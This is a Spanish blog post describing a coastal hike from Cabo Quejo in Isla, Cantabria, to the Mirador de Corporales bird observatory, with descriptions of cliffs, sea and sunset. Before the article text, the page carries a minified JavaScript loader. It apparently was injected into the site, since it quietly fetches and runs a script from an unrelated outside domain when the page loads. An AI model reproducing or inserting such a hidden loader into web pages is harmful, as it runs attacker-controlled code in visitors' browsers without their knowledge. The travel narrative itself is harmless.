;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); DE CABO QUEJO AL MIRADOR DE CORPORALES – de Palabras y Fotografía – elreylagarton

By J.Manuel -elreylagarton- 19 septiembre, 2020 In Paisajes, Paisajes Marinos

DE CABO QUEJO AL MIRADOR DE CORPORALES

Caminar desde el Cabo Quejo Menor en Isla (Cantabria) bordeando el mar siempre en dirección oeste es realizar un viaje a hombros de un gigante que te permite ver siempre el mar a tu lado pero a muchos metros por debajo de ti.

La ruta completa parte desde cualquier punto en el que puedas aparcar el coche en la zona urbana y turística de Isla, algo que en verano no suele ser tarea fácil pero que con un poco de ingenio se consigue, y finaliza en la Playa de la Arena, lo que hacen aproximadamente 9 kilómetros de paseo.

Es acercarte al mar, mirar al frente y contemplar al otro lado Noja, girar el cuerpo hacia el oeste y comenzar a caminar siempre bordeando el mar en dirección al poniente.
Nada más pasar el camping comienza una subida que uno se la ha de tomar con calma, no es cuestión de desanimarse en este primer y mayor abrupto hándicap del paseo, son unos 500 metros de subida pero creedme que merece la pena coronar la cima y ganarse la sensación de todopoderoso frente al mar, refrescarse con la brisa marina que ayuda a restablecerte de la fatiga de este tramo, seguir mirando hacia el oeste y ver la belleza de la senda que nos queda por hacer y que a partir de este momento ya será mucho más calmada, con vaivenes arriba y abajo mucho más cómodos que lo ya pasado.

Esta presencia constante de altura y mar, de rugido a rompiente de ola y graznido de ave acuática que unas veces volará sobre tus cabezas y otras lo hará bajo tus pies. Estos gigantes acantilados, esta vista que se dispara al infinito siguiendo el rastro de los múltiples barcos que surcan el mar, unos son de pesca, otros de transporte, unos van y otros vienen, pero todos son referentes a la hora de mirar y de imaginar mil aventuras mar adentro.

­­Unos 2 kilómetros aproximadamente más delante de esta primera cima nos encontraremos con otra mucho más fácil de acometer, el Alto de Corporales. Lugar fantástico para hacer un nuevo descanso, recomponer fuerzas y volver a detenernos unos minutos mirando de nuevo al mar.

Mar azul, mar Cantábrico, mar de fuerza, de blanca espuma y verdes costas. Desde aquí, siempre mirando a poniente ya vemos Ajo y vislumbramos su ahora polémico faro. Mirar al faro me ha llevado a imaginar aventuras de lobo de mar, la barba ya la tengo, quizás me falte la paciencia para una vida en un faro o quizás la tenga y no lo sepa, vaya usted a saber, el mar siempre es misterio y aventura… y hemos de seguir con esta aventura, siempre hacia el oeste, siempre persiguiendo al sol en su lenta escapada hacia poniente.

Ahora toca bajar, pero antes de comenzar lanzo una última mirada hacia el este, sigo pensando que estoy a hombros de gigante, veo los acantilados que me separan de Cabo Quejo y me siento microscópico ante su tamaño, su esbeltez, su belleza y la luz comienza tornarse en naranja porque el sol en su huida al oeste comienza estar bajo y lanza rayos de luz rasantes que iluminan de este tono las paredes de estos gigantes.
Me reconforta la presencia de las estacas que limitan el abismo y la cuerda que ayuda a mantener la seguridad en la bajada, justo al final, a una altura ya más cercana al mar se encuentra la cabaña de madera del observatorio de aves del Mirador de Corporales, también llamado «observatorio de aves de Punta de la Cueva«. Se convierte en otra parada obliga y ya no tanto por el esfuerzo, sino por la belleza.

El sol parece haber metido una marcha más en su engranaje de velocidades e ir más deprisa en su camino de ocultarse al otro lado de Ajo y eso me indica que no voy a poder concluir la marcha con el objetivo marcado en un principio y que era el de llegar a la playa de la Arena. Considero que no es lugar para caminar de noche. El terreno no es especialmente peligroso, pero tampoco es una senda por un jardín, así que la opción más correcta es la alejarme de los acantilados a través de uno de los múltiples caminos de acceso a las fincas colindantes.

Por hoy, con la puesta de sol, daré la aventura por finalizada y me hago la promesa de regresar al punto en donde lo he dejado para realizar el tramo final que me llevará a concluir en la Playa de la Arena.

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